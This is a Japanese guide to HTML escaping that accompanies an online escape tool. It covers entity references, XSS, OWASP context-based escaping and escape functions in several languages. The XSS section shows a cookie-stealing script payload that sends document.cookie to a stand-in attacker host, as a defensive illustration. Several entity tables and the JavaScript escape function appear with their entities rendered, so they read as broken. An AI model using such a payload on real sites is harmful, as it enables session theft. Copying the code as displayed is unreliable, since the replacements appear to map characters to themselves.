HTMLエスケープとは
<(小なり記号)は < に変換することで、ブラウザがタグの開始記号としてではなく「<という文字」として表示するようになります。
HTMLドキュメントは < と > でタグを表現します。この文字をエスケープせずにそのまま出力すると、ブラウザはそれをHTMLタグとして解釈してしまいます。たとえばユーザーが入力した <b>太字</b> をそのまま出力すれば、文字列ではなく実際に太字として描画されます。これがエスケープが必要な根本的な理由です。
Webアプリケーションでは、ユーザーが入力した値、データベースから取得した文字列、APIレスポンスなど、あらゆる「外部由来のデータ」をHTMLに出力する際にエスケープが必要です。
エスケープが必要な5文字
| 文字 | 名前 | 名前付き実体参照 | 数値参照(10進) | 理由 |
|---|---|---|---|---|
& |
アンパサンド | & |
& |
実体参照の開始文字。最初にエスケープする必要がある |
< |
小なり(左山括弧) | < |
< |
HTMLタグの開始記号。スクリプト注入の主要経路 |
> |
大なり(右山括弧) | > |
> |
HTMLタグの終了記号 |
" |
ダブルクォート | " |
" |
HTML属性値の区切り文字。属性値内では必須 |
' |
シングルクォート | ' または ' |
' |
シングルクォートで囲まれた属性値内で必須 |
注意: &(アンパサンド)は必ず最初にエスケープしてください。後からエスケープすると、すでに変換した < の & が再度エスケープされて &lt; になってしまいます。
実体参照の種類
<)、10進数値参照(<)、16進数値参照(<)。どれも同じ文字を表し、ブラウザはすべて正しく解釈します。
3種類の書き方の比較
| 種類 | 書式 | 例(<の場合) | 特徴 |
|---|---|---|---|
| 名前付き実体参照 | &名前; |
< |
可読性が高い。HTMLで定義された文字のみ使用可 |
| 10進数値参照 | &#数値; |
< |
Unicode符号点を10進数で指定。あらゆる文字に使える |
| 16進数値参照 | 進数; |
< |
Unicode符号点を16進数で指定。プログラム処理に向く |
よく使う実体参照一覧
| 表示文字 | 名前付き参照 | 説明 |
|---|---|---|
| © | © | 著作権記号 |
| ™ | ™ | 商標記号(TM) |
| ® | ® | 登録商標記号 |
| → | → | 右矢印(→) |
| ← | ← | 左矢印(←) |
| — | — | ダッシュ(—) |
| – | – | エンダッシュ(–) |
| ノーブレークスペース(改行しないスペース) | |
| … | … | 省略記号(…) |
| € | € | ユーロ記号(€) |
| ¥ | ¥ | 円記号(¥) |
XSS攻撃とエスケープの関係
XSSの仕組み
典型的な反射型XSSの流れを見てみましょう。たとえば検索機能を持つWebサイトで、検索キーワードをそのままHTMLに出力しているとします。
通常の検索: ユーザーが「天気」と入力 → <p>「天気」の検索結果</p> と出力(問題なし)
攻撃の入力: 攻撃者が <script>document.location='https://evil.example.com/?c='+document.cookie</script> と入力
エスケープなしの場合、そのままHTMLに埋め込まれ、ページを開いたユーザーのCookieが外部サイトに送信されてしまいます。エスケープを施すと < が < に変換され、スクリプトは文字列として表示されるだけで実行されません。
XSSの主な種類
| 種類 | 仕組み | 対策 |
|---|---|---|
| 反射型XSS | URLパラメーターなどの入力値をそのまま出力 | 出力時エスケープ |
| 蓄積型XSS | 悪意あるスクリプトをDBに保存し後で出力 | 入力・出力両方でサニタイズ |
| DOMベースXSS | JavaScriptがDOMを操作する際に発生 | innerHTML等の安全な使用・textContent活用 |
OWASPの推奨とコンテキストエスケープ
OWASP XSS Prevention Cheat Sheet では、データを挿入するHTMLの「コンテキスト」に応じた適切なエスケープを推奨しています。HTMLコンテンツ内、HTML属性内、JavaScriptブロック内、CSS内、URLパラメーター内では、それぞれ異なるエスケープルールが適用されます。HTMLエスケープだけですべてのXSSを防げるわけではない点に注意が必要です。
ツールの使い方
3ステップで変換できます。
- モードを選択 — ページ上部の「エスケープ」または「アンエスケープ」タブを選択します。
- テキストを入力 — 入力欄に変換したいテキストまたはHTMLエスケープ済み文字列を貼り付けます。
- 結果をコピー — 変換結果が自動表示されます。コピーボタンでクリップボードに取り込めます。
- 出力先コンテキストごとに使い分ける — 本文 (要素内テキスト)・属性値・JavaScript 内・CSS の
url()ではエスケープ規則が異なります。コンテキストごとに適切なエスケープ関数を選びます。 - 実機ブラウザで表示確認する — エスケープ後のテキストを実際の HTML に貼り付け、ブラウザで XSS が発生しないこと・意図した表示になることを確認します。
言語別エスケープ方法
JavaScript
ブラウザ環境では textContent への代入がもっとも安全です。DOM操作ではなく文字列として扱いたい場合は次のように実装できます。
function escapeHtml(str) {
return str
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
// DOM操作では textContent を使うのが最もシンプルで安全
const el = document.getElementById('output');
el.textContent = userInput; // 自動でエスケープされる
Python
標準ライブラリの html モジュールに html.escape() が用意されています。
import html
user_input = '<script>alert("XSS")</script>'
escaped = html.escape(user_input)
# => '<script>alert("XSS")</script>'
# quote=False でダブルクォートをエスケープしない(デフォルトは True)
escaped_noquote = html.escape(user_input, quote=False)
PHP
htmlspecialchars() が標準関数です。第2引数に ENT_QUOTES を指定してシングルクォートもエスケープするのが推奨です。
<?php
$user_input = '<script>alert("XSS")</script>';
$escaped = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// => <script>alert("XSS")</script>
// HTMLに出力する際はエコー時に直接使う
echo htmlspecialchars($variable, ENT_QUOTES, 'UTF-8');
?>
Java
標準ライブラリには直接の関数がないため、Apache Commons Text や Spring の HtmlUtils を使うのが一般的です。
// Apache Commons Text
import org.apache.commons.text.StringEscapeUtils;
String escaped = StringEscapeUtils.escapeHtml4(userInput);
// Spring Framework
import org.springframework.web.util.HtmlUtils;
String escaped = HtmlUtils.htmlEscape(userInput);
Go
標準ライブラリの html パッケージに html.EscapeString() があります。
import "html"
userInput := `<script>alert("XSS")</script>`
escaped := html.EscapeString(userInput)
// => <script>alert("XSS")</script>
フレームワークの自動エスケープ
現代のテンプレートエンジンやフレームワークは、変数展開時に自動でHTMLエスケープを行います。
| フレームワーク / テンプレート | 自動エスケープ構文 | エスケープを無効化する構文(要注意) |
|---|---|---|
| React(JSX) | {variable}(自動) |
dangerouslySetInnerHTML |
| Vue.js | {{ variable }}(自動) |
v-html |
| Python Jinja2 | {{ variable }}(自動・設定次第) |
{{ variable | safe }} |
| PHP Twig | {{ variable }}(自動) |
{{ variable | raw }} |
| Go html/template | {{ .Variable }}(自動) |
template.HTML() 型キャスト |
自動エスケープを無効にする機能(dangerouslySetInnerHTML、v-html、| safe 等)を使う場合は、必ず入力値が信頼できるものであることを確認するか、DOMPurifyなどのサニタイズライブラリで処理してから使用してください。